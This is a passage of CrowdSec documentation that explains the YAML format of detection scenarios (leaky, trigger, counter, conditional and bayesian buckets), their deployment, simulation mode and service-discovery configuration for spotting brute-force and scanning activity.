๐ŸŸข โ”œ Scenarios โ”” ๐ŸŸข crowdsecurity/myservice-bf ``` ## Closing word[โ€‹](#closing-word "Direct link to Closing word") We have now a fully functional scenario for myservice to detect brute forces! We can either deploy it to our production systems to do stuff, or even better, contribute to the hub ! If you want to know more about directives and possibilities, take a look at [the scenario reference documentation](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md) ! See as well [this blog article](https://crowdsec.net/blog/how-to-write-crowdsec-parsers-and-scenarios) on the topic. *** ## More ways to learn [![More ways to learn](/img/academy/parsers_and_scenarios.svg)](https://academy.crowdsec.net/course/writing-parsers-and-scenarios?utm_source=docs\&utm_medium=banner\&utm_campaign=scenario-page\&utm_id=academydocs) Watch a short series of videos on how to create Scenarios, as well as Parsers [**Learn with CrowdSec Academy**](https://academy.crowdsec.net/course/writing-parsers-and-scenarios?utm_source=docs\&utm_medium=banner\&utm_campaign=scenario-page\&utm_id=academydocs) *** --- # Debugging --- # Deploy warning This documentation mostly focus on installation of custom scenarios. Scenarios from the hub should be installed as a part of the collection, by using `cscli collections install `. Installing scenarios directly with `cscli scenario install ` might lead to unexpected results because of missing dependencies (ie. parsers, enrichers, post-overflows etc.) ## Deployment[โ€‹](#deployment "Direct link to Deployment") ### Installation[โ€‹](#installation "Direct link to Installation") To deploy a scenario, simply copy it to `/etc/crowdsec/scenarios/`. ### Verification[โ€‹](#verification "Direct link to Verification") Use `cscli scenarios list` to view all your installed scenarios: * `Name` presents the `name` field of the yaml file. * `Version` represents the version of the scenario according to the hub. Versions increment on upstream changes. * `Local path` represents the local path to the scenario file. * `๐Ÿ“ฆ Status` indicates the state: | Status | Description | | -------------------- | --------------------------------------------------- | | `โœ”๏ธ enabled` | Scenario is from the hub and up-to-date | | `๐Ÿ  enabled,local` | This is a custom scenario | | `โš ๏ธ enabled,tainted` | This is an upstream scenario that has been modified | --- # Format ## Scenario configuration example[โ€‹](#scenario-configuration-example "Direct link to Scenario configuration example") A way to detect a http scanner might be to track the number of distinct non-existing pages it's requesting. The scenario might look like this: YAMLCOPY ``` type: leaky name: crowdsecurity/http-scan-uniques_404 description: "Detect multiple unique 404 from a single ip" filter: "evt.Meta.service == 'http' && evt.Meta.http_status in ['404', '403', '400']" groupby: "evt.Meta.source_ip" distinct: "evt.Meta.http_path" capacity: 5 leakspeed: "10s" blackhole: 5m labels: service: http confidence: 3 spoofable: 0 classification: - attack.T1595 behavior: "http:scan" service: http label: "Multiple unique 404 detection" remediation: true ``` ## Scenario directives[โ€‹](#scenario-directives "Direct link to Scenario directives") ### `type`[โ€‹](#type "Direct link to type") YAMLCOPY ``` type: leaky|trigger|counter|conditional|bayesian ``` Defines the type of the bucket. Currently five types are supported : * `leaky` : a [leaky bucket](https://en.wikipedia.org/wiki/Leaky_bucket) that must be configured with a [capacity](#capacity) and a [leakspeed](#leakspeed) * `trigger` : a bucket that overflows as soon as an event is poured (it is like a leaky bucket is a capacity of 0) * `counter` : a bucket that only overflows every [duration](#duration). It is especially useful to count things. * `conditional`: a bucket that overflows when the expression given in `condition` returns true. Useful if you want to look back at previous events that were poured to the bucket (to detect impossible travel or more behavioral patterns for example). It can't overflow like a leaky bucket and its capacity is ignored. Incase the conditional bucket is meant to be used to hold a large number of events, consider use the cashe\_size field. * `bayesian` : a bucket that runs bayesian inference internally. The overflow will trigger when the posterior probability reaches the threshold. This is useful for instance if the behaivor is a combination of events which alone wouldn't be worthy of suspicious. #### Examples:[โ€‹](#examples "Direct link to Examples:") *** ##### Leaky[โ€‹](#leaky "Direct link to Leaky") The bucket will leak one item every 10 seconds, and can hold up to 5 items before overflowing. YAMLCOPY ``` type: leaky ... leakspeed: "10s" capacity: 5 ... ``` ![timeline](/assets/images/leakspeed-schema.drawio-4c328ef6946c0a28ac8744e86fd7e8d3.png) * The bucket is created at `t+0s` * *E0* is poured at `t+2s`, bucket is at 1/5 capacity * *E1* is poured at `t+4s`, bucket is at 2/5 capacity * At `t+10s` the bucket leaks one item, is now at 1/5 capacity * *E2* is poured at `t+11s`, bucket is at 2/5 capacity * *E3* and *E4* are poured around `t+16s`, bucket is at 4/5 capacity * At `t+20s` the bucket leaks one item, is now at 3/5 capacity * *E5* and *E6* are poured at `t+23s`, bucket is at 5/5 capacity * when *E7* is poured at `t+24s`, the bucket is at 6/5 capacity and overflows *** ##### Trigger[โ€‹](#trigger "Direct link to Trigger") The bucket will instantly overflow whenever an ip lands on a 404. YAMLCOPY ``` type: trigger ... filter: "evt.Meta.service == 'http' && evt.Meta.http_status == '404'" groupby: evt.Meta.source_ip ... ``` *** ##### Counter[โ€‹](#counter "Direct link to Counter") The bucket will overflow 20s after the first event is poured. YAMLCOPY ``` type: counter ... filter: "evt.Meta.service == 'http' && evt.Meta.http_status == '404'" duration: 20s ... ``` ![timeline](/assets/images/counter-schema.drawio-30138bca1a69b71952de6a1961e328d8.png) * The bucket is created at `t+0s` * *E0* is poured at `t+0s`, count is at 1 * *E1* is poured at `t+4s`, count is at 2 * *E2* is poured at `t+8s`, count is at 3 * *E3* is poured at `t+12s`, count is at 4 * *E4* is poured at `t+14s`, count is at 5 * At `t+20s` the bucket overflows with a count of 5 *** ##### Conditional[โ€‹](#conditional "Direct link to Conditional") This bucket will overflow when the condition is true. In this example it will overflow if a user sucessfully authenticates after failing 5 times previously. For a more in depth look, check out [our blogpost](https://www.crowdsec.net/blog/detecting-successful-ssh-brute-force) on the topic. YAMLCOPY ``` type: conditional ... filter: "evt.Meta.service == 'ssh'" ... condition: | count(queue.Queue, #.Meta.log_type == 'ssh_failed-auth') > 5 and count(queue.Queue, #.Meta.log_type == 'ssh_success-auth') > 0 ... ``` ![timeline](/assets/images/conditional-schema.drawio-bc137c7bb18248fc10b9136a82444478.png) * The bucket is created at `t+0s` * *E0* is poured at `t+0s` * *E1* is poured at `t+4s` * *E2* is poured at `t+6s` * *E3* is poured at `t+12s` * *E4* is poured at `t+14s`, `count(queue.Queue, #.Meta.log_type == 'ssh_failed-auth') > 5` now evaluates true * *E5* is poured at `t+18s` * when *E6* is poured at `t+24s`, `count(queue.Queue, #.Meta.log_type == 'ssh_success-auth') > 0` also evaluates true and the bucket overflows *** ##### Bayesian[โ€‹](#bayesian "Direct link to Bayesian") The bayesian bucket is based on the concept of [bayesian inference](https://en.wikipedia.org/wiki/Bayesian_inference). The bucket overflows if the bayesian posterior is bigger than the threshold. To calculate the posterior, the bucket will run bayesian updates for all the conditions defined in the scenario.
The bucket starts with a predefined prior `P(Evil)`. Whenever an event is poured the bucket will iteratively calculate `P(Evil|State(Condition_i))` for all defined conditions. The resulting posterior value for `P(Evil)` is then compared against the threshold. If the threshold is exceeded the bucket overflows. If the threshold is not exceeded, the bucket is reset by setting `P(Evil)` back to the prior.
In case the condition is costly to evaluate, the `guillotine` can be set. This will stop the condition from being evaluated after the first time it evaluates to `true`. The bayesian update will assume that the condition is `true` for every iteration after that. YAMLCOPY ``` type: bayesian ... filter: "evt.Meta.log_type == 'http_access-log' || evt.Meta.log_type == 'ssh_access-log'" ... bayesian_prior: 0.5 bayesian_threshold: 0.8 bayesian_conditions: - condition: any(queue.Queue, {.Meta.http_path == "/"}) prob_given_evil: 0.8 prob_given_benign: 0.2 - condition: evt.Meta.ssh_user == "admin" prob_given_evil: 0.9 prob_given_benign: 0.5 guillotine : true ... leakspeed: 30s capacity: -1 ... ``` Guidelines on setting the bayesian parameters can be found [below](#bayesian_conditions) *** ### `name`[โ€‹](#name "Direct link to name") YAMLCOPY ``` name: github_account_name/my_scenario_name ``` or YAMLCOPY ``` name: my_author_name/my_scenario_name ``` The `name` is mandatory. It must be unique. This will define the scenario's name in the hub. *** ### `description`[โ€‹](#description "Direct link to description") YAMLCOPY ``` description: A scenario that detect XXXX behavior ``` The `description` is mandatory. It is a short description, probably one sentence, describing what it detects. *** ### `references`[โ€‹](#references "Direct link to references") YAMLCOPY ``` references: - A reference to third party documents. ``` The `references` is optional. A reference to third party documents. This is a list of string. *** ### `filter`[โ€‹](#filter "Direct link to filter") YAMLCOPY ``` filter: expression ``` `filter` must be a valid [expr](https://docs.crowdsec.net/docs/next/expr/intro.md) expression that will be evaluated against the event. If `filter` evaluation returns true or is absent, event will be pour in the bucket. If `filter` returns `false` or a non-boolean, the event will be skipped for this bucket. Here is the [expr documentation](https://github.com/antonmedv/expr/tree/master/docs). Examples : * `evt.Meta.log_type == 'telnet_new_session'` * `evt.Meta.log_type in ['http_access-log', 'http_error-log'] && evt.Parsed.static_ressource == 'false'` * `evt.Meta.log_type == 'ssh_failed-auth'` *** ### `duration`[โ€‹](#duration "Direct link to duration") YAMLCOPY ``` duration: 45s duration: 10m ``` Only applies to `counter` buckets. A duration after which the bucket will overflow. The format must be compatible with [golang ParseDuration format](https://golang.org/pkg/time/#ParseDuration) Examples : YAMLCOPY ``` type: counter name: crowdsecurity/ban-reports-ssh_bf_report description: "Count unique ips performing ssh bruteforce" filter: "evt.Overflow.Scenario == 'ssh_bruteforce'" distinct: "evt.Overflow.Source_ip" capacity: -1 duration: 10m labels: service: ssh confidence: 3 spoofable: 0 classification: - attack.T1110 label: "SSH Bruteforce" behavior : "ssh:bruteforce" remediation: true cti: true ``` *** ### `groupby`[โ€‹](#groupby "Direct link to groupby") YAMLCOPY ``` groupby: evt.Meta.source_ip ``` An [expression](https://docs.crowdsec.net/docs/next/expr/intro.md) that must return a string. This string will be used as a partition for the buckets. #### Examples[โ€‹](#examples-1 "Direct link to Examples") Here, each `source_ip` will get its own bucket. YAMLCOPY ``` type: leaky ... groupby: evt.Meta.source_ip ... ``` Here, each unique combo of `source_ip` + `target_username` will get its own bucket. YAMLCOPY ``` type: leaky ... groupby: evt.Meta.source_ip + '--' + evt.Parsed.target_username ... ``` *** ### `distinct`[โ€‹](#distinct "Direct link to distinct") YAMLCOPY ``` distinct: evt.Meta.http_path ``` An [expression](https://docs.crowdsec.net/docs/next/expr/intro.md) that must return a string. The event will be poured **only** if the string is not already present in the bucket. #### Examples[โ€‹](#examples-2 "Direct link to Examples") This will ensure that events that keep triggering the same `.Meta.http_path` will be poured only once. YAMLCOPY ``` type: leaky ... distinct: "evt.Meta.http_path" ... ``` Assuming we received the 3 following events : * `evt.Meta.http_path = /` * `evt.Meta.http_path = /test` * `evt.Meta.http_path = /` Only the first 2 events will be poured to the bucket. The 3rd one will not be poured as the bucket already contains an event with `evt.Meta.http_path == /` *** ### `capacity`[โ€‹](#capacity "Direct link to capacity") YAMLCOPY ``` capacity: 5 ``` Only applies to `leaky` buckets. A positive integer representing the bucket capacity. If there are more than `capacity` item in the bucket, it will overflow. Should be set to `-1` in most situations for `conditional` buckets. *** ### `leakspeed`[โ€‹](#leakspeed "Direct link to leakspeed") YAMLCOPY ``` leakspeed: "10s" ``` Only applies to `leaky` and `conditional` buckets. A duration that represent how often an event will be leaking from the bucket. Must be compatible with [golang ParseDuration format](https://golang.org/pkg/time/#ParseDuration). *** ### `condition`[โ€‹](#condition "Direct link to condition") YAMLCOPY ``` condition: | len(queue.Queue) >= 2 and Distance(queue.Queue[-1].Enriched.Latitude, queue.Queue[-1].Enriched.Longitude, queue.Queue[-2].Enriched.Latitude, queue.Queue[-2].Enriched.Longitude) > 100 ``` Only applies to `conditional` buckets. Make the bucket overflow when it returns true. The expression is evaluated each time an event is poured to the bucket. *** ### `bayesian_prior`[โ€‹](#bayesian_prior "Direct link to bayesian_prior") YAMLCOPY ``` bayesian_prior: 0.03 ``` Only applies to `bayesian` buckets. This is the initial probability that a given IP falls under the behavior you want to catch. A good first estimate for this parameter is `#evil_ips/#total_ips`, where evil are all the IPs you want to catch with this scenario. *** ### `bayesian_threshold`[โ€‹](#bayesian_threshold "Direct link to bayesian_threshold") YAMLCOPY ``` bayesian_threshold: 0.5 ``` Only applies to `bayesian` buckets. This defines the threshold you want the posterior to exceed to trigger the bucket. This parameter can be finetuned according to individual preference. A higher threshold will decrease the number of false positives at the cost of missing some true positives while decreasing the threshold will catch more true positives at the cost of more false positives. If the term precision vs recall tradeoff is familiar to the reader, this is an application of this principle. *** ### `bayesian_conditions`[โ€‹](#bayesian_conditions "Direct link to bayesian_conditions") YAMLCOPY ``` bayesian_conditions: - condition: any(queue.Queue, {.Meta.http_path == "/"}) prob_given_evil: 0.8 prob_given_benign: 0.2 - condition: evt.Meta.ssh_user == "admin" prob_given_evil: 0.9 prob_given_benign: 0.5 guillotine : true ``` Only applies to `bayesian` buckets. Bayesian conditions are the heart of the bayesian bucket. Every `condition` represents an event we want to do a bayesian update for. Every time the inference is ran we evaluate the `condition`. The two parameters `prob_given_evil` and `prob_given_benign` are called likelihoods and are used during the update. They represent the two conditional probabilities `P(condition == true | IP is evil)` and `P(condition == true | IP is benign)` respectively. A good estimate for the likelihoods is to look at all events in your logs and use the ratios `#evil_ips_satisfying_condition/#evil_ips` resp. `#benign_ips_satisfying_condition/#benign_ips`. If the results of the scenario are imprecise one should either add more conditions or play around with the threshold. It is not recommended to individually adjust the likelihoods as this leads to overfitting. If the evalutaion of the `condition` is particularly expensive, one can add a `guillotine`. This will prevent the condition from being evaluated after the first time it evaluates to `true`. The bayesian updates will from then on out only consider the case `condition == true`. Note: `prob_given_evil` and `prob_given_benign` do not have to sum up to 1 as they describe different events. *** ### `labels`[โ€‹](#labels "Direct link to labels") YAMLCOPY ``` labels: service: ssh confidence: 3 spoofable: 0 classification: - attack.T1110 label: "SSH Bruteforce" behavior : "ssh:bruteforce" remediation: true ``` Labels is a list of `label: values` that provide context to an alert. The `value` can be of any type (string, list, object ...). Some labels are required, but other labels can be added. note: the labels are (currently) not stored in the database, nor they are sent to the API. #### `remediation`[โ€‹](#remediation "Direct link to remediation") > type: bool The **remediation** label, if set to `true` indicate if the originating IP should be banned. #### `classification`[โ€‹](#classification "Direct link to classification") > type: list This is a list of classifications that we can attribute to a scenario in the form: YAMLCOPY ``` . ``` Only `cve` and `attack` (for Mitre ATT\&CK) are supported. * For a mitre\_attack, this is the format: YAMLCOPY ``` attack. # example: attack.T1595 ``` Where technique\_id is a Mitre ATT\&CK technique. You can find the list [here](https://attack.mitre.org/techniques/enterprise/). * For a CVE this is the format: YAMLCOPY ``` cve. # example: cve.CVE-2021-44228 ``` #### `behavior`[โ€‹](#behavior "Direct link to behavior") > type: string behavior is a string in the form: YAMLCOPY ``` : ``` note: when the service is available, prefer to use the service instead of the OS. The behavior should exist in this file: #### `label`[โ€‹](#label "Direct link to label") > type: string (optional) label is a human-readable name for the scenario. For example, for the `crowdsecurity/apache_log4j2_cve-2021-44228` scenario it is Log4j CVE-2021-44228 . #### `spoofable`[โ€‹](#spoofable "Direct link to spoofable") > type: int \[0-3] The chance between 0 and 3 that the attacker behind the attack can spoof its origin. 0 means not spoofable and 3 means spoofable. #### `confidence`[โ€‹](#confidence "Direct link to confidence") > type: int \[0-3] The confidence score ranges from 0 to 3, indicating the likelihood that the scenario will not produce a false positive. A lower score suggests that the action might not be malicious, while a higher score indicates higher confidence that the scenario identified malicious behavior. * `0`: The scenario is likely to produce false positives, so it is not reliable for identifying malicious behavior. * `1`: The scenario may produce false positives and is not highly reliable for identifying malicious behavior. * `2`: The scenario is reliable and unlikely to produce false positives. It can be used to identify malicious behavior. * `3`: The scenario is highly reliable and will not produce false positives. It is trustworthy for identifying malicious behavior. #### `cti`[โ€‹](#cti "Direct link to cti") > type: bool \[true|false] Specify that the scenario is used mostly for auditing and not to detect threat. `false` means that the scenario is not to detect threat. *** ### `blackhole`[โ€‹](#blackhole "Direct link to blackhole") YAMLCOPY ``` blackhole: 10m ``` A duration for which a bucket will be "silenced" after overflowing. This is intended to limit / avoid spam of buckets that might be very rapidly triggered. The blackhole only applies to the individual bucket rather than the whole scenario. Must be compatible with [golang ParseDuration format](https://golang.org/pkg/time/#ParseDuration). #### Example[โ€‹](#example "Direct link to Example") The same `source_ip` won't be able to trigger this overflow more than once every 10 minutes. The potential overflows in the meanwhile will be discarded (but will still appear in logs as being blackholed). YAMLCOPY ``` type: trigger ... blackhole: 10m groupby: evt.Meta.source_ip ``` *** ### `debug`[โ€‹](#debug "Direct link to debug") YAMLCOPY ``` debug: true|false ``` *default: false* If set to to `true`, enabled scenario level debugging. It is meant to help understanding scenario behavior by providing contextual logging : debug of filters and expression results LOGCOPY ``` DEBU[31-07-2020 16:34:58] eval(evt.Meta.log_type in ["http_access-log", "http_error-log"] && any(File("bad_user_agents.txt"), {evt.Parsed.http_user_agent contains #})) = TRUE cfg=still-feather file=config/scenarios/http-bad-user-agent.yaml name=crowdsecurity/http-bad-user-agent DEBU[31-07-2020 16:34:58] eval variables: cfg=still-feather file=config/scenarios/http-bad-user-agent.yaml name=crowdsecurity/http-bad-user-agent DEBU[31-07-2020 16:34:58] evt.Meta.log_type = 'http_access-log' cfg=still-feather file=config/scenarios/http-bad-user-agent.yaml name=crowdsecurity/http-bad-user-agent DEBU[31-07-2020 16:34:58] evt.Parsed.http_user_agent = 'Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:002810)' cfg=still-feather file=config/scenarios/http-bad-user-agent.yaml name=crowdsecurity/http-bad-user-agent ``` *** ### `reprocess`[โ€‹](#reprocess "Direct link to reprocess") YAMLCOPY ``` reprocess: true|false ``` *default: false* If set to `true`, the resulting overflow will be sent again in the scenario/parsing pipeline. It is useful when you want to have further scenarios that will rely on past-overflows to take decisions. *** ### `cache_size`[โ€‹](#cache_size "Direct link to cache_size") YAMLCOPY ``` cache_size: 5 ``` By default, a bucket holds [capacity](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#capacity) events "in memory". However, for a number of cases, you don't want this, as it might lead to excessive memory consumption. By setting `cache_size` to a positive integer, we can control the maximum in-memory cache size of the bucket, without changing its capacity and such. It is useful when buckets are likely to stay alive for a long time or ingest a lot of events to avoid storing a lot of events in memory. info Cache size will affect the number of events you receive within an alert. If you set a cache size to 5, you will only receive the last 6 events (Cache size including the overflow) in the alert. Any pipelines that rely on the alert object will be affected (Notification, Profiles, Postoverflow). *** ### `overflow_filter`[โ€‹](#overflow_filter "Direct link to overflow_filter") YAMLCOPY ``` overflow_filter: any(queue.Queue, { .Enriched.IsInEU == "true" }) ``` `overflow_filter` is an [expression](https://docs.crowdsec.net/docs/next/expr/intro.md) that is run when the bucket overflows. If this expression is present and returns false, the overflow will be discarded. *** ### `cancel_on`[โ€‹](#cancel_on "Direct link to cancel_on") YAMLCOPY ``` cancel_on: evt.Parsed.something == 'somevalue' ``` `cancel_on` is an [expression](https://docs.crowdsec.net/docs/next/expr/intro.md) that runs on each event poured to the bucket. If the `cancel_on` expression returns true, the bucket is immediately destroyed (and doesn't overflow). *** ### `data`[โ€‹](#data "Direct link to data") YAMLCOPY ``` data: - source_url: https://URL/TO/FILE dest_file: LOCAL_FILENAME [type: (regexp|string|map)] ``` info `dest_file` is relative to the data directory set within `config.yaml` default per OS: * Linux: `/var/lib/crowdsec/data` * Freebsd: `/var/db/crowdsec/data` * Windows: `C:\programdata\crowdsec\data` `data` allows to specify an external source of data. The `source_url` section is only relevant when `cscli` is used to install scenario from hub, as it will download the `source_url` and store it in the `dest_file` within the data directory. When the scenario is not installed from the hub, CrowdSec will not download the `source_url`, however, if the file exists at `dest_file` within the data directory it will still be loaded into memory. The `type` is mandatory if you want to evaluate the data in the file, and should be `regex` for valid (re2) regular expression per line, `string` for string per line, or `map` for JSON-lines map files (see [map file helpers](https://docs.crowdsec.net/docs/next/expr/file_helpers.md#map-file-helpers)). The regexps will be compiled, the strings will be loaded into a list and both will be kept in memory. Without specifying a `type`, the file will be downloaded and stored as file and not in memory. You can refer to the content of the downloaded file(s) by using `File()`, `RegexpInFile()`, `FileMap()`, or `LookupFile()` in an expression: YAMLCOPY ``` filter: 'evt.Meta.log_type in ["http_access-log", "http_error-log"] and any(File("backdoors.txt"), { evt.Parsed.request contains #})' ``` #### Example[โ€‹](#example-1 "Direct link to Example") YAMLCOPY ``` name: crowdsecurity/cdn-whitelist ... data: - source_url: https://www.cloudflare.com/ips-v4 dest_file: cloudflare_ips.txt type: string ``` #### Caching feature[โ€‹](#caching-feature "Direct link to Caching feature") Since 1.5, it is possible to configure additional cache for `RegexpInFile()` : * input data (hashed with [xxhash](https://github.com/cespare/xxhash)) * associated result (true or false) [Cache behavior](https://pkg.go.dev/github.com/bluele/gcache) can be configured: * strategy: LRU, LFU or ARC * size: maximum size of cache * ttl: expiration of elements * cache: boolean (true by default if one of the fields is set) This is typically useful for scenarios that needs to check on a lot of regexps. Example configuration: YAMLCOPY ``` type: leaky #... data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/bad_user_agents.regex.txt dest_file: bad_user_agents.regex.txt type: regexp strategy: LRU size: 40 ttl: 5s ``` *** ### `format`[โ€‹](#format "Direct link to format") YAMLCOPY ``` format: 2.0 ``` CrowdSec has a notion of format support for parsers and scenarios for compatibility management. Running `cscli version` will show you such compatibility matrix : SHCOPY ``` sudo cscli version 2020/11/05 09:35:05 version: v0.3.6-183e34c966c475e0d2cdb3c60d0b7426499aa573 2020/11/05 09:35:05 Codename: beta 2020/11/05 09:35:05 BuildDate: 2020-11-04_17:56:46 2020/11/05 09:35:05 GoVersion: 1.13 2020/11/05 09:35:05 Constraint_parser: >= 1.0, < 2.0 2020/11/05 09:35:05 Constraint_scenario: >= 1.0, < 3.0 2020/11/05 09:35:05 Constraint_api: v1 2020/11/05 09:35:05 Constraint_acquis: >= 1.0, < 2.0 ``` *** ### `scope`[โ€‹](#scope "Direct link to scope") YAMLCOPY ``` scope: type: Range expression: evt.Parsed.mySourceRange ``` While most scenarios might focus on IP addresses, CrowdSec and Bouncers can work with any scope. The `scope` directive allows you to override the default scope : * `type` is a string representing the scope name * `expression` is an `expr` expression that will be evaluated to fetch the value let's imagine a scenario such as : YAMLCOPY ``` # ssh bruteforce type: leaky name: crowdsecurity/ssh-enforce-mfa description: "Enforce mfa on users that have been bruteforced" filter: "evt.Meta.log_type == 'ssh_failed-auth'" leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 1m labels: service: ssh type: bruteforce remediation: true scope: type: username expression: evt.Meta.target_user ``` and a profile such as : YAMLCOPY ``` name: enforce_mfa filters: - 'Alert.Remediation == true && Alert.GetScope() == "username"' decisions: - type: enforce_mfa scope: "username" duration: 1h on_success: continue ``` the resulting overflow will be : SHCOPY ``` $ ./cscli -c dev.yaml decisions list +----+----------+---------------+-------------------------------+-------------+---------+----+--------+------------------+ | ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | +----+----------+---------------+-------------------------------+-------------+---------+----+--------+------------------+ | 2 | crowdsec | username:rura | crowdsecurity/ssh-enforce-mfa | enforce_mfa | | | 6 | 59m46.121840343s | ``` --- # Introduction Scenarios are YAML files that allow to detect a specific behavior, usually an attack. Scenarios receive events and can produce alerts using the [leaky bucket](https://en.wikipedia.org/wiki/Leaky_bucket) algorithm. ![](/img/bucket-diagram.png) The event goes via various steps : * the `filter` decides event elligibility : if the expression is true, the event "enters" the bucket * the optional `groupby` expression allows to segment bucket, typically by `source_ip` : this ensure each source ip has its own bucket and is accounted for properly * the optional `distinct` expression can avoid item with duplicated properties being poured. An example usage can be found in [http-sensitive-files](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-sensitive-files), where it is used to ensure we're only counting distinct "bad" URIs being requested. * then the event is finally poured to the [leaky bucket](https://en.wikipedia.org/wiki/Leaky_bucket) : `capacity` and `leakspeed` are the two parameters conditioning when/if an overflow happens. * if the bucket overflows, it can be validated by an optional `overflow_filter` Once an overflow happens, it will go through [postoverflows](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md#postoverflows) to handle last chance whitelists, before being finally turned into a potential decision by [profiles](https://docs.crowdsec.net/docs/next/local_api/profiles/intro.md). --- # Simulation SHCOPY ``` sudo cscli simulation status INFO[0000] global simulation: disabled INFO[0000] Scenarios in simulation mode : INFO[0000] - crowdsecurity/ssh-bf ``` `cscli simulation` allows to manage a list of scenarios that have their remediation "simulated" : they won't be effective (but will still be showed by `cscli decisions list`). This configuration file is present in `/etc/crowdsec/simulation.yaml` and is handled by the agent. You can add and remove scenarios to the simulation list : SHCOPY ``` sudo cscli simulation enable crowdsecurity/ssh-bf INFO[0000] simulation mode for 'crowdsecurity/ssh-bf' enabled INFO[0000] Run 'sudo systemctl reload crowdsec' for the new configuration to be effective. $ sudo systemctl reload crowdsec $ sudo tail -f /var/log/crowdsec.log .... time="01-11-2020 14:08:58" level=info msg="Ip 1.2.3.6 performed 'crowdsecurity/ssh-bf' (6 events over 986.769ยตs) at 2020-11-01 14:08:58.575885389 +0100 CET m=+437.524832750" time="01-11-2020 14:08:58" level=info msg="Ip 1.2.3.6 decision : 1h (simulation) ban" .... $ cscli decisions list +----+----------+--------------+-----------------------------------+------------+---------+----+--------+------------------+ | ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | +----+----------+--------------+-----------------------------------+------------+---------+----+--------+------------------+ | 4 | crowdsec | Ip:1.2.3.6 | crowdsecurity/ssh-bf | (simul)ban | US | | 6 | 59m38.293036072s | +----+----------+--------------+-----------------------------------+------------+---------+----+--------+------------------+ ``` You can also turn on "global simulation" : in this case, only scenarios in the exclusion list will have their decisions applied. --- # Syntax A minimal detection file is a YAML map with a topโ€level `detect:` key. Under it, each entry describes one service plan: YAMLCOPY ``` # detect.yaml --- detect: apache2-file-apache2: when: - Systemd.UnitInstalled("apache2.service") or len(Path.Glob("/var/log/apache2/*.log")) > 0 hub_spec: collections: - crowdsecurity/apache2 acquisition_spec: filename: apache2.yaml datasource: source: file filenames: - /var/log/apache2/*.log labels: type: apache2 ``` ## Fields[โ€‹](#fields "Direct link to Fields") ### `when`[โ€‹](#when "Direct link to when") A list of expression that must return a boolean. If multiple expressions are provided, they must all return `true` for the service to be included. YAMLCOPY ``` when: - Host.OS == "linux" - Systemd.UnitInstalled("") ``` You can use any of the helper referenced [here](https://docs.crowdsec.net/docs/next/log_processor/service-discovery-setup/setup-expr-helpers.md). ### `hub_spec`[โ€‹](#hub_spec "Direct link to hub_spec") A map of hub items to install. Specifying an invalid item type or item will log an error but will not prevent the detection to continue. YAMLCOPY ``` hub_spec: collections: - crowdsecurity/linux parsers: - crowdsecurity/nginx-logs scenarios: - crowdsecurity/http-bf ``` ### `acquisition_spec`[โ€‹](#acquisition_spec "Direct link to acquisition_spec") This item defines the acquisition that will be written to disk YAMLCOPY ``` acquisition_spec: filename: foobar.yaml datasource: source: docker container_name: foo labels: type: bar ``` The `filename` attribute will be used to generate the name of file in the form of `acquis.d/setup..yaml`. The content of `datasource` will be validated (syntax, required fields depending on the datasource configured) and be written as-is to the file. ## Examples[โ€‹](#examples "Direct link to Examples") Basic OS / Hub only: YAMLCOPY ``` detect: linux: when: - Host.OS == "linux" hub_spec: collections: - crowdsecurity/linux ``` `journalctl` source with a filter: YAMLCOPY ``` detect: caddy-journal: when: - Systemd.UnitInstalled("caddy.service") - len(Path.Glob("/var/log/caddy/*.log")) == 0 hub_spec: collections: - crowdsecurity/caddy acquisition_spec: filename: caddy.yaml datasource: source: journalctl labels: type: caddy journalctl_filter: - "_SYSTEMD_UNIT=caddy.service" ``` Windows event log: YAMLCOPY ``` detect: windows_auth: when: - Host.OS == "windows" hub_spec: collections: - crowdsecurity/windows acquisition_spec: filename: windows_auth.yaml datasource: source: wineventlog event_channel: Security event_ids: - 4625 - 4623 event_level: information labels: type: eventlog ``` --- # Service Discovery The goals of service discovery are to automatically: * Detect services on your machine supported by crowdsec * Install related hub items * Generate acquisition configuration ## Basic Usage[โ€‹](#basic-usage "Direct link to Basic Usage") The main way to use the service discovery is with `cscli setup interactive` or `cscli setup unattended`. By default, it will use the detection file provided by crowdsec stored in `/var/lib/crowdsec/data/detect.yaml`. In interactive mode, `cscli` will ask you to choose which service to configure based on those that were detected, and will require confirmation before any operation (installing hub items, generating acquisition config, ...). It is your responsibility to check the compatibility of the generated acquisitions with the ones you add later or were already on the system. warning While `cscli setup` validates the generated configuration files for syntax errors or invalid configuration, it does *not* check for duplicate acquisition. If using a custom `detect.yaml`, make sure no logs are read multiple times (with the same `type` label), as this could lead to false positives. `cscli` will ask for confirmation before proceeding if: * there is an `acquis.yaml` * there is any non-generated file in `acquis.d` * you modified the generated files in `acquis.d` (there is a checksum to detect modifications). Proceeding could overwrite them. Files composed by comments only are ignored. Linux packages (deb or rpm) will automatically call `cscli setup unattended` during installation. In the case above, instead of asking for confirmation, unattended mode will just skip the service detection. ### Generated acquisition files & coexistence with your own files[โ€‹](#generated-acquisition-files--coexistence-with-your-own-files "Direct link to Generated acquisition files & coexistence with your own files") When you generated the acquisition configuration with `cscli setup`, `cscli` writes one file per service as `setup..yaml` in the acquisition directory (typically `/etc/crowdsec/acquis.d`). The content is prefixed with a header that includes a checksum and a comment stating it was generated by `cscli setup`. * Files carrying a valid checksum are considered generated and may be overwritten by future runs. * Files without a valid checksum are treated as manually edited; in interactive mode, `cscli` shows a colorized diff and asks before overwriting. In unattended flows, the command refuses to proceed if manual files are detected. * Either way, the safest practice is: **donโ€™t edit generated files**. If you need changes, delete the generated `setup..yaml` and create your own handโ€‘managed file instead or use a custom `detect.yaml` to generate the proper configuration automatically. > Tips > * The actual onโ€‘disk path is computed as `acquis.d/setup..yaml` where `` comes from `acquisition_spec.filename`. > * Use `--acquis-dir` to target a different directory. > * `--dry-run` prints what would be created without writing files. ## Advanced Usage[โ€‹](#advanced-usage "Direct link to Advanced Usage") ### Use a custom `detect.yaml`[โ€‹](#use-a-custom-detectyaml "Direct link to use-a-custom-detectyaml") You can provide a custom `detect.yaml` in two ways: SHCOPY ``` # Path flag cscli setup detect --detect-config 